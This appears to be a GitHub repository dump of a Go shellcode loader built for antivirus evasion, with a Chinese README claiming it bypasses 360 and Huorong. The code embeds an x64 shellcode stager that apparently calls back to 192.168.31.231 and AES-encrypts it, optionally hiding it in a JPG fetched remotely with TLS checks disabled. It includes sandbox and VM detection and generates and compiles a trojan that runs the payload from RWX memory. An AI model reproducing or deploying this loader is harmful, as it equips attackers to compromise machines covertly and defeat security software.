├── .idea ├── .gitignore ├── .name ├── modules.xml ├── shellcodeloading.iml └── vcs.xml ├── 1.jpg ├── README.md ├── aes └── aseCode.go ├── checkSandbox └── checkSandbox.go ├── go.mod ├── output └── compileShellGo.bat └── shellcodeloading.go /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 数据源本地存储已忽略文件 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # 基于编辑器的 HTTP 客户端请求 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/.name: -------------------------------------------------------------------------------- 1 | shellcode.go -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/shellcodeloading.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lmg66/shellcodeloading/7fc98cf20528c62d946dda13c40909611f1656f3/1.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### shellcodeloading 2 | 3 | golang版 shellcode 加载器 4 | 5 | 效果:实测可免杀360 火绒 6 | 7 | ### 原理 8 | 9 | [小玉玉yyds](https://www.bilibili.com/video/BV1jr4y1c7gJ) 10 | 11 | ### 目录说明 12 | 13 | ``` 14 | │ 1.jpg 15 | │ go.mod 16 | │ README.md 17 | │ shellcodeloading.go //生成output/shellcode.go imageshellcode 18 | │ 19 | ├─.idea 20 | │ .gitignore 21 | │ modules.xml 22 | │ shellcodeloading.iml 23 | │ workspace.xml 24 | │ 25 | ├─aes //aes加密调用包 26 | │ aseCode.go 27 | │ 28 | ├─checkSandbox //沙箱检测调用包 20个进程 系统盘大于45g 29 | │ checkSandbox.go 30 | │ 31 | └─output 32 | compileShellGo.bat //用于编译shellcode.go—>shellcode.exe 由shellcodeloading.go调用 33 | lnng.jpg //含有shellcode aes密钥 34 | shellcode.exe 35 | shellcode.go //用于生成shellcode.exe 36 | ``` 37 | 38 | ### 使用 39 | 40 | #### 环境 41 | 42 | 需要golang环境 43 | 44 | 因为shellcode.go 木马需要编译 45 | 46 | #### 使用步骤 47 | 48 | 1.生成shellcode 49 | 50 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206352705-image-20210725174518720.png) 51 | 52 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206482200-image-20210725174746525.png) 53 | 54 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206691165-image-20210725175115790.png) 55 | 56 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206783230-image-20210725175253002.png) 57 | 58 | 2.生成shellcode.exe 59 | 60 | shellcodeloading目录 61 | 62 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627206894340-image-20210725175442184.png) 63 | 64 | 选择想要的shellcode.exe方式 65 | 66 | 这里演示其中一种(分离免杀,imageshellcode路径写死在shellcode.exe中,远程加载shellcode) 67 | 68 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627207169249-image-20210725175903529.png) 69 | 70 | 在output目录下我们就可以看到我们生成的shellcode.go(木马原文件) shellcode.exe(木马文件) lnng.jpg(分离免杀的shellcode) 71 | 72 | 将shellcode.exe 拖入带杀软的虚拟机中 73 | 74 | 这里用python3开启简单http服务,来加载imageshellcode,可以上传到图床等等地方(注意图片别被压缩),地址别搞错就行 75 | 76 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627207554631-image-20210725180505277.png) 77 | 78 | #### 免杀效果 79 | 80 | [https://www.bilibili.com/video/BV1Hq4y1p7c1](https://www.bilibili.com/video/BV1Hq4y1p7c1) 81 | 82 | ![](https://cdn.jsdelivr.net/gh/Lmg66/picture@main/image/1627214620018-image-20210725200323206.png) 83 | 84 | ### 参考文章说明 85 | 86 | [**yuppt**大佬视频](https://space.bilibili.com/50908119?spm_id_from=333.788.b_765f7570696e666f.2) 87 | 88 | [https://gitee.com/cutecuteyu/picshell_bypassav](https://gitee.com/cutecuteyu/picshell_bypassav) 89 | 90 | 初学内网渗透,大佬们轻点喷 91 | 92 | 仅限技术分享研究与讨论,严禁用于非法用途,产生的一切后果自行承担 93 | 94 | -------------------------------------------------------------------------------- /aes/aseCode.go: -------------------------------------------------------------------------------- 1 | package aesCode 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/md5" 8 | "encoding/base64" 9 | "encoding/hex" 10 | "hash/fnv" 11 | ) 12 | 13 | 14 | func AesEncrypt(orig string, key string) string { 15 | // 转成字节数组 16 | origData := []byte(orig) 17 | k := []byte(key) 18 | 19 | // 分组秘钥 20 | block, _ := aes.NewCipher(k) 21 | // 获取秘钥块的长度 22 | blockSize := block.BlockSize() 23 | // 补全码 24 | origData = PKCS7Padding(origData, blockSize) 25 | // 加密模式 26 | blockMode := cipher.NewCBCEncrypter(block, k[:blockSize]) 27 | // 创建数组 28 | cryted := make([]byte, len(origData)) 29 | // 加密 30 | blockMode.CryptBlocks(cryted, origData) 31 | 32 | return base64.StdEncoding.EncodeToString(cryted) 33 | 34 | } 35 | 36 | func AesDecrypt(cryted string, key string) string { 37 | // 转成字节数组 38 | crytedByte, _ := base64.StdEncoding.DecodeString(cryted) 39 | k := []byte(key) 40 | 41 | // 分组秘钥 42 | block, _ := aes.NewCipher(k) 43 | // 获取秘钥块的长度 44 | blockSize := block.BlockSize() 45 | // 加密模式 46 | blockMode := cipher.NewCBCDecrypter(block, k[:blockSize]) 47 | // 创建数组 48 | orig := make([]byte, len(crytedByte)) 49 | // 解密 50 | blockMode.CryptBlocks(orig, crytedByte) 51 | // 去补全码 52 | orig = PKCS7UnPadding(orig) 53 | return string(orig) 54 | } 55 | 56 | //补码 57 | func PKCS7Padding(ciphertext []byte, blocksize int) []byte { 58 | padding := blocksize - len(ciphertext)%blocksize 59 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 60 | return append(ciphertext, padtext...) 61 | } 62 | 63 | //去码 64 | func PKCS7UnPadding(origData []byte) []byte { 65 | length := len(origData) 66 | unpadding := int(origData[length-1]) 67 | return origData[:(length - unpadding)] 68 | } 69 | 70 | func Hash(s string) uint32 { 71 | h := fnv.New32a() 72 | h.Write([]byte(s)) 73 | return h.Sum32() 74 | } 75 | 76 | func GetMD5Encode(data string) string { 77 | h := md5.New() 78 | h.Write([]byte(data)) 79 | return hex.EncodeToString(h.Sum(nil)) 80 | } -------------------------------------------------------------------------------- /checkSandbox/checkSandbox.go: -------------------------------------------------------------------------------- 1 | package checkSandbox 2 | 3 | import ( 4 | "os" 5 | "strconv" 6 | "syscall" 7 | "time" 8 | "unsafe" 9 | ) 10 | 11 | type ulong int32 12 | type ulong_ptr uintptr 13 | 14 | type PROCESSENTRY32 struct { 15 | dwSize ulong 16 | cntUsage ulong 17 | th32ProcessID ulong 18 | th32DefaultHeapID ulong_ptr 19 | th32ModuleID ulong 20 | cntThreads ulong 21 | th32ParentProcessID ulong 22 | pcPriClassBase ulong 23 | dwFlags ulong 24 | szExeFile [260]byte 25 | } 26 | /* 27 | 查看进程数 28 | */ 29 | func checkProcessNum() bool{ 30 | kernel32 := syscall.NewLazyDLL("kernel32.dll") 31 | CreateToolhelp32Snapshot := kernel32.NewProc("CreateToolhelp32Snapshot") 32 | pHandle, _, _ := CreateToolhelp32Snapshot.Call(uintptr(0x2), uintptr(0x0)) 33 | if int(pHandle) == -1 { 34 | return false 35 | } 36 | Process32Next := kernel32.NewProc("Process32Next") 37 | num := 0 38 | for { 39 | var proc PROCESSENTRY32 40 | proc.dwSize = ulong(unsafe.Sizeof(proc)) 41 | if rt, _, _ := Process32Next.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&proc))); int(rt) == 1 { 42 | num++ 43 | } else { 44 | break 45 | } 46 | } 47 | CloseHandle := kernel32.NewProc("CloseHandle") 48 | _, _, _ = CloseHandle.Call(pHandle) 49 | if num <= 20{ 50 | os.Exit(0) 51 | } 52 | return true 53 | } 54 | /* 55 | 查看文件是否存在 56 | */ 57 | func Exists(path string) bool { 58 | _, err := os.Stat(path) //os.Stat获取文件信息 59 | if err != nil { 60 | if os.IsExist(err) { 61 | return true 62 | } 63 | return false 64 | } 65 | return true 66 | } 67 | /* 68 | 根据文件查看是否是虚拟机环境 69 | */ 70 | func virtual() { 71 | var arrays [20]string= [20]string{ 72 | "C:\\windows\\System32\\Drivers\\Vmmouse.sys", 73 | "C:\\windows\\System32\\Drivers\\vmtray.dll", 74 | "C:\\windows\\System32\\Drivers\\VMToolsHook.dll", 75 | "C:\\windows\\System32\\Drivers\\vmmousever.dll", 76 | "C:\\windows\\System32\\Drivers\\vmhgfs.dll", 77 | "C:\\windows\\System32\\Drivers\\vmGuestLib.dll", 78 | "C:\\windows\\System32\\Drivers\\VBoxMouse.sys", 79 | "C:\\windows\\System32\\Drivers\\VBoxGuest.sys", 80 | "C:\\windows\\System32\\Drivers\\VBoxSF.sys", 81 | "C:\\windows\\System32\\Drivers\\VBoxVideo.sys", 82 | "C:\\windows\\System32\\vboxdisp.dll", 83 | "C:\\windows\\System32\\vboxhook.dll", 84 | "C:\\windows\\System32\\vboxoglerrorspu.dll", 85 | "C:\\windows\\System32\\vboxoglpassthroughspu.dll", 86 | "C:\\windows\\System32\\vboxservice.exe", 87 | "C:\\windows\\System32\\vboxtray.exe", 88 | "C:\\windows\\System32\\VBoxControl.exe", 89 | } 90 | for i := 0; i < len(arrays); i++ { 91 | if arrays[i] != ""{ 92 | if Exists(arrays[i]){ 93 | os.Exit(0) 94 | } 95 | } 96 | } 97 | } 98 | /* 99 | 检查是否任意文件存在,沙盒可能提供虚拟文件 100 | */ 101 | func anyFile() { 102 | timeUnix := time.Now().Unix() 103 | file := "C:\\windows\\System32\\" + strconv.FormatInt(timeUnix,10) 104 | if Exists(file){ 105 | os.Exit(1) 106 | } 107 | } 108 | /* 109 | 检查磁盘大小来判读是否为虚拟环境 110 | */ 111 | func checkDisk() { 112 | h := syscall.MustLoadDLL("kernel32.dll") 113 | c := h.MustFindProc("GetDiskFreeSpaceExW") 114 | lpFreeBytesAvailable := int64(0) 115 | lpTotalNumberOfBytes := int64(0) 116 | lpTotalNumberOfFreeBytes := int64(0) 117 | c.Call(uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("C:"))), 118 | uintptr(unsafe.Pointer(&lpFreeBytesAvailable)), 119 | uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)), 120 | uintptr(unsafe.Pointer(&lpTotalNumberOfFreeBytes))) 121 | if lpTotalNumberOfBytes/1024/1024/1024 < 45{ 122 | os.Exit(0) 123 | } 124 | } 125 | func CheckSandbox() { 126 | //查看进程数 是否小于20 127 | checkProcessNum() 128 | //查看是否是虚拟机环境 判读系统文件是否存在 360会报毒选择使用 129 | //virtual() 130 | //是否任意文件存在 沙盒是否虚拟任意文件 360会报毒选择使用 131 | //anyFile() 132 | //检查系统盘大小 是否大于45 认为小于45g为沙盒虚拟环境影子系统 133 | checkDisk() 134 | } 135 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module shellcodeloading 2 | 3 | go 1.13 4 | -------------------------------------------------------------------------------- /output/compileShellGo.bat: -------------------------------------------------------------------------------- 1 | set CGO_ENABLED=0 2 | set GOOS=windows 3 | set GOARCH=amd64 4 | go build -ldflags="-s -w -H windowsgui" .\shellcode.go -------------------------------------------------------------------------------- /shellcodeloading.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "os" 7 | "os/exec" 8 | "shellcodeloading/aes" 9 | "strconv" 10 | "time" 11 | ) 12 | 13 | var shellcodeString = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x0f\x27\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4d\x6e\x55\x4d\x00\x65\x7b\xa2\xa8\x7f\xc6\x1b\x27\xca\xbb\x5b\xf0\xe4\x12\x63\x12\xa1\x60\x98\xfa\x90\x0f\x70\x09\x20\x13\x00\x60\x7a\x85\x9f\x76\x28\xf6\xae\x34\x1a\xa6\x94\x03\x63\x8e\x49\x64\x26\x01\x89\xf1\x64\x07\x6b\x89\x67\x85\x0c\x50\xa6\x93\x1c\x9f\x1b\x30\x1c\xef\xf9\xb4\xcc\x64\x1c\x84\x6d\x0a\xda\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x41\x52\x4a\x53\x29\x0d\x0a\x00\x11\x0d\x7a\xba\x79\xe3\xae\xfe\x57\xc6\xf7\x3a\x03\xef\x78\x67\x40\x5f\x59\x69\xda\xfe\xaf\x59\xd6\x1c\xcb\x5f\x9e\x54\xdc\x42\x69\x39\x90\xca\x3b\x2a\x57\x9c\x5b\xf7\xa2\x45\x11\x7a\xbd\x71\xdb\x61\xe7\xb1\x0e\x1a\x1f\xee\xa0\xef\x03\xf4\x49\xad\x9d\xd5\xe7\xb3\xf7\x49\xe8\x45\x57\x22\x12\xa8\xe8\x93\xcb\xad\x84\xc6\x8e\x12\x10\x75\x86\xe1\xdc\x13\xb7\x6f\x08\x02\xa9\x83\xde\x0e\xc6\x4f\xe5\x98\xaf\x3c\x5f\x49\xe5\xd7\x22\x0c\x1b\x7f\x46\x53\x18\x08\xc7\x49\x06\xed\xb5\xe8\x58\x8c\x67\x9c\xc6\x2d\x56\xd4\xd9\xd8\x43\x4d\xd6\x14\xfe\x0b\x2f\x11\x2e\x0f\x62\xbc\xcb\x63\x0b\x0b\xbc\xab\x1b\xc4\xdb\xe1\x4c\x6c\x52\xbd\x7a\x5d\x4f\xb1\xde\x7f\xbc\xcd\x20\xa6\xad\x68\xb2\xbc\xb5\x2a\x4d\x58\x71\xbb\x24\x1b\x87\xda\xbd\xb8\xf1\xcc\xb5\xed\xfe\x1a\xc8\x21\xf2\x8b\x6a\xca\xa8\x8e\x3e\x55\x63\x95\xcb\x44\xc3\xcf\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x33\x31\x2e\x32\x33\x31\x00\x12\x34\x56\x78" 14 | 15 | // loadingLogo /*加载logo shellCodeLoading 16 | func loadingLogo() { 17 | fmt.Println(` 18 | .__ .__ .__ .___ .__ .___.__ 19 | _____| |__ ____ | | | | ____ ____ __| _/____ | | _________ __| _/|__| ____ ____ 20 | / ___/ | \_/ __ \| | | | _/ ___\/ _ \ / __ |/ __ \ | | / _ \__ \ / __ | | |/ \ / ___\ 21 | \___ \| Y \ ___/| |_| |_\ \__( <_> ) /_/ \ ___/ | |_( <_> ) __ \_/ /_/ | | | | \/ /_/ > 22 | /____ >___| /\___ >____/____/\___ >____/\____ |\___ > |____/\____(____ /\____ | |__|___| /\___ / 23 | \/ \/ \/ \/ \/ \/ \/ \/ \//_____/`) 24 | } 25 | /* 26 | user选择shellcode方式 27 | */ 28 | func userChoose() { 29 | fmt.Println(` 30 | 1.AES shellcode(aes shellcode在exe文件中) 31 | 2.AES+jpg shellcode在图片中,木马exe打开路径(或http)可选择是否写死在shellcode中`) 32 | var userInput int 33 | fmt.Println("请输入你的选择1~2") 34 | fmt.Scanln(&userInput) 35 | switch userInput { 36 | case 1: 37 | writeShellGo(fixedShellcode()) 38 | case 2: 39 | userChooseFile() 40 | default: 41 | fmt.Println("请输入1~2!!!") 42 | userChoose() 43 | } 44 | } 45 | /* 46 | user选择file是否写死在shellcode中 47 | */ 48 | func userChooseFile(){ 49 | fmt.Println(` 50 | 1.打开imageShellcode路径写死在shellcode.exe中) 51 | 2.imageShellcode路径以参数的形式`) 52 | var userInput int 53 | fmt.Println("请输入你的选择1~2") 54 | fmt.Scanln(&userInput) 55 | switch userInput { 56 | case 1: 57 | writeShellGo(fixedPath()) 58 | //fixedPath() 59 | case 2: 60 | writeShellGo(remotePath()) 61 | default: 62 | fmt.Println("请输入1~2!!!") 63 | userChoose() 64 | } 65 | } 66 | 67 | 68 | /* 69 | 根据shellcode加载方式生成shellcode.go 70 | shellcode.go 用于生成shellcode.exe 71 | 参数说明: 72 | shellcode:如果存在shellcode写死在exe文件 73 | aesMd5:如果存在shellcode写死在exe文件,aes对称密码密钥 74 | pathImage:image的路径可以写死在shellcode.exe中也可加选项,可以远程也可以本地 75 | */ 76 | func writeShellGo(shellcode string,aesMd5 string,pathImage string){ 77 | var writeGO string 78 | writeGO = 79 | `package main 80 | 81 | import ( 82 | "bytes" 83 | "crypto/tls" 84 | "fmt" 85 | "io/ioutil" 86 | "net/http" 87 | "os" 88 | "regexp" 89 | aesCode "shellcodeloading/aes" 90 | //"shellcodeloading/checkSandbox" 91 | "unsafe" 92 | 93 | "syscall" 94 | "time" 95 | ) 96 | const ( 97 | MEM_COMMIT = 0x1000 98 | MEM_RESERVE = 0x2000 99 | PAGE_EXECUTE_READWRITE = 0x40 100 | ) 101 | var ( 102 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 103 | ntdll = syscall.MustLoadDLL("ntdll.dll") 104 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 105 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 106 | ) 107 | /* 108 | 检测是否发发生错误 109 | */ 110 | func checkErr(err error) { 111 | if err != nil { 112 | if err.Error() != "The operation completed successfully." { 113 | println(err.Error()) 114 | os.Exit(1) 115 | } 116 | } 117 | } 118 | /* 119 | 检测文件是否存在 120 | */ 121 | func checkFileIsExist(filename string) bool{ 122 | if _,err := os.Stat(filename);os.IsNotExist(err){ 123 | return false 124 | } 125 | return true 126 | } 127 | /* 128 | 读取image中的shellcode 129 | */ 130 | func readImageShellcode(filename string)(shellcode string,aesMd5 string){ 131 | shellcode = "" 132 | aesMd5 = "" 133 | match, _ := regexp.MatchString("http", filename) 134 | if match{ 135 | tr := &http.Transport{ 136 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 137 | } 138 | client := &http.Client{ 139 | Transport: tr, 140 | Timeout: time.Second * 5, 141 | } 142 | fmt.Println("Visiting:" + filename) 143 | resp,err := client.Get(filename) 144 | if err != nil{ 145 | fmt.Println("error"+"Visiting:" + filename) 146 | return shellcode,aesMd5 147 | //os.Exit(0) 148 | } 149 | if resp.Status != "200 OK"{ 150 | fmt.Println("image no in" + filename) 151 | return shellcode,aesMd5 152 | } 153 | defer resp.Body.Close() 154 | Split := "hello" 155 | byteImage,_ := ioutil.ReadAll(resp.Body) 156 | aesMd5 = string(byteImage[len(byteImage)-32:]) 157 | byteImage = byteImage[:len(byteImage)-32] 158 | shellcodeAes := bytes.Split(byteImage,[]byte(Split)) 159 | if len(shellcodeAes) != 2 { 160 | fmt.Println("image not contain shellcode") 161 | os.Exit(0) 162 | } 163 | shellcode = string(shellcodeAes[1]) 164 | }else { 165 | var f *os.File 166 | if checkFileIsExist(filename) { 167 | f, _ = os.OpenFile(filename, os.O_APPEND, 0666) 168 | defer f.Close() 169 | Split := "hello" //已hello为标志分割线 170 | byteImage, _ := ioutil.ReadAll(f) 171 | aesMd5 = string(byteImage[len(byteImage)-32:]) 172 | byteImage = byteImage[:len(byteImage)-32] 173 | shellcodeAes := bytes.Split(byteImage, []byte(Split)) 174 | if len(shellcodeAes) != 2 { 175 | os.Exit(0) 176 | } 177 | shellcode = string(shellcodeAes[1]) 178 | } 179 | } 180 | return shellcode,aesMd5 181 | } 182 | func main() { 183 | //checkSandbox.CheckSandbox() //沙盒虚拟机环境检验,可注入掉 184 | var shellcode []byte 185 | shellcodeBuf:= "`+ shellcode +`" 186 | aesMd5 := "`+aesMd5+`" 187 | pathImage := "`+pathImage+`" 188 | hello := "hello world!!!" 189 | fmt.Println(hello) 190 | if shellcodeBuf != "" && aesMd5 != ""{ 191 | encryptCode := aesCode.AesDecrypt(shellcodeBuf,aesMd5) 192 | shellcode = []byte(encryptCode) 193 | } 194 | if pathImage != ""{ 195 | for true{ 196 | shellcodeBuf,aesMd5 = readImageShellcode(pathImage) 197 | if shellcodeBuf != "" && aesMd5 != ""{ 198 | shellcodeBuf,aesMd5 = readImageShellcode(pathImage) 199 | break 200 | } 201 | } 202 | encryptCode := aesCode.AesDecrypt(shellcodeBuf,aesMd5) 203 | shellcode = []byte(encryptCode) 204 | } 205 | if len(os.Args) > 1 { 206 | shellcodeBuf,aesMd5 = readImageShellcode(string(os.Args[1])) 207 | encryptCode := aesCode.AesDecrypt(shellcodeBuf,aesMd5) 208 | shellcode = []byte(encryptCode) 209 | } 210 | if string(shellcode) == ""{ 211 | os.Exit(0) 212 | } 213 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 214 | if addr == 0 { 215 | checkErr(err) 216 | } 217 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 218 | checkErr(err) 219 | syscall.Syscall(addr, 0, 0, 0, 0) 220 | }` 221 | var f * os.File 222 | filename := "./output/shellcode.go" 223 | f,_ = os.Create(filename) 224 | defer f.Close() 225 | _,err:= f.Write([]byte(writeGO)) 226 | if err != nil { 227 | fmt.Println("writeGo []byte into output/shellcode.go error") 228 | os.Exit(0) 229 | }else { 230 | fmt.Println("shellcode.go写入成功") 231 | } 232 | } 233 | /* 234 | aesShellcode 生成aes对称密钥,返回密文和密钥 235 | */ 236 | func aesShellcode() (aesShellcode string,aesMd5 string){ 237 | if shellcodeString == ""{ 238 | fmt.Println("请将填入shellcode shellcodeloading.go首部变量") 239 | os.Exit(0) 240 | } 241 | aes := time.Now().Unix() 242 | //fmt.Println(aes) 243 | //encryptShellcode := aesCode.AesEncrypt(string(shellcodeString),aesCode.GetMD5Encode(string(shellcodeString))) 244 | 245 | encryptShellcode := aesCode.AesEncrypt(string(shellcodeString),aesCode.GetMD5Encode(strconv.FormatInt(aes,10))) 246 | //fmt.Println(string(aes)) 247 | //fmt.Println(strconv.FormatInt(aes,10)) 248 | //fmt.Println(aesCode.GetMD5Encode(strconv.FormatInt(aes,10))) 249 | //fmt.Println("生成aesshellcode 对称密码aesMd5 successful!") 250 | return encryptShellcode,aesCode.GetMD5Encode(strconv.FormatInt(aes,10)) 251 | } 252 | /* 253 | 固定shellcode生成write参数 254 | */ 255 | func fixedShellcode() (encryptShellcode string,aesMd5 string,pathImage string){ 256 | encryptShellcode,aesMd5 = aesShellcode() 257 | return encryptShellcode,aesMd5,pathImage 258 | } 259 | /* 260 | 检测文件是否存在 261 | */ 262 | func checkFileIsExist(filename string) bool{ 263 | if _,err := os.Stat(filename);os.IsNotExist(err){ 264 | return false 265 | } 266 | return true 267 | } 268 | /* 269 | 图片中加shellcode 270 | */ 271 | func injectimage(shellcode string,aesMd5 string){ 272 | var f * os.File 273 | var userInput string 274 | fmt.Println("请输入你的选择图片地址建议使用相对路径") 275 | fmt.Scanln(&userInput) 276 | if !checkFileIsExist(userInput){ 277 | fmt.Println("图片地址不存在,请检查文件,重新输入") 278 | injectimage(shellcode,aesMd5) 279 | os.Exit(0) 280 | } 281 | f,_ = os.OpenFile(userInput,os.O_APPEND,0666) 282 | imageData,_:= ioutil.ReadAll(f) 283 | defer f.Close() 284 | outputname := "output/lnng.jpg" 285 | if checkFileIsExist(outputname) { 286 | fmt.Println("output image is Exist,请删除output/lnng.jpg") 287 | injectimage(shellcode,aesMd5) 288 | //os.Exit(1) 289 | }else { 290 | fp,err := os.Create(outputname) 291 | if err !=nil{ 292 | fmt.Println("output image Creat error") 293 | os.Exit(1) 294 | } 295 | _,err = fp.Write(imageData) 296 | if err !=nil { 297 | fmt.Println("image []byte into output error") 298 | os.Exit(0) 299 | } 300 | Split := "hello" 301 | _,err = fp.Write([]byte(Split)) 302 | if err != nil{ 303 | fmt.Println("Split []byte into output image error") 304 | os.Exit(0) 305 | } 306 | _,err = fp.Write([]byte(shellcode)) 307 | if err !=nil{ 308 | fmt.Println("image []byte into output error") 309 | os.Exit(0) 310 | } 311 | _,err = fp.Write([]byte(aesMd5)) 312 | if err !=nil { 313 | fmt.Println("aesMd5 []byte into output error") 314 | os.Exit(0) 315 | } 316 | fmt.Println("图片加shellcode对称密钥successful!") 317 | fmt.Println("图片shellcode输出路径为output/lnng.jpg") 318 | } 319 | } 320 | /* 321 | shellcodeImage 固定shellcode.exe imagePath 322 | */ 323 | func fixedPath() (encryptShellcode string,aesMd5 string,pathImage string){ 324 | injectimage(aesShellcode()) 325 | fmt.Println("请输入shellcode.exe固定image地址 如./lnng.jpg 注:相对于shellcode.exe文件 或 http:127.0.0.1/lnng.jpg") 326 | var userInput string 327 | fmt.Scanln(&userInput) 328 | return encryptShellcode,aesMd5,userInput 329 | } 330 | /* 331 | 远程选择加载shellcode位置可远程可本地区分根据是否有http 332 | */ 333 | func remotePath()(encryptShellcode string,aesMd5 string,pathImage string){ 334 | injectimage(aesShellcode()) 335 | return encryptShellcode,aesMd5,pathImage 336 | } 337 | /* 338 | 调用系统命令执行compileShellGo.bat对生成的output/shellcode.go进行编译 339 | */ 340 | func compileShellGo(){ 341 | cmd := "cd output&&.\\compileShellGo.bat" 342 | _, err := exec.Command("cmd","/c",cmd).Output() 343 | if err !=nil{ 344 | fmt.Println("go build shellcode.go error") 345 | os.Exit(0) 346 | }else { 347 | fmt.Println("shellcode.exe 编译成功") 348 | } 349 | } 350 | 351 | func main(){ 352 | loadingLogo() 353 | userChoose() 354 | compileShellGo() 355 | } 356 | --------------------------------------------------------------------------------